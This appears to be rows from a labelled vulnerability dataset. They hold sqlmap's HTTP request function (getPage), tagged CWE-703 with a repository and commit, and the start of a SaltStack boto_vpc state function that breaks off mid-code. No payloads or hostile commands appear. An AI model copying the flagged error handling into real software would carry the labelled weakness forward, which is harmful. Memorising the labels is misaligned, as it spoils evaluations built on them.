                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is False:
                    raise SqlmapUserQuitException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.preprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running preprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,f382443ddd48a8a7020b2a6ec28afe6d617a7340,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            post = getBytes(post)

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect request""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh request ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.connErrorChoice = readInput(message, default='N', boolean=True)

                if kb.connErrorChoice is False:
                    raise SqlmapUserQuitException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or isMultiThreadMode():
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.preprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running preprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
,UNKNOWN,UNKNOWN,salt/states/boto_vpc.py,1,"def present(name, cidr_block, instance_tenancy=None, dns_support=None,
            dns_hostnames=None, tags=None, region=None, key=None, keyid=None,
            profile=None):
    '''
    Ensure VPC exists.

    name
        Name of the VPC.

    cidr_block
        The range of IPs in CIDR format, for example: 10.0.0.0/24. Block
        size must be between /16 and /28 netmask.

    instance_tenancy
        Instances launched in this VPC will be ingle-tenant or dedicated
        hardware.

    dns_support
        Indicates whether the DNS resolution is supported for the VPC.

    dns_hostnames
        Indicates whether the instances launched in the VPC get DNS hostnames.

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    r = __salt__['boto_vpc.exists'](name=name, tags=tags, region=region,
                                    key=key, keyid=keyid, profile=profile)

    if 'error' in r:
        ret['result'] = False
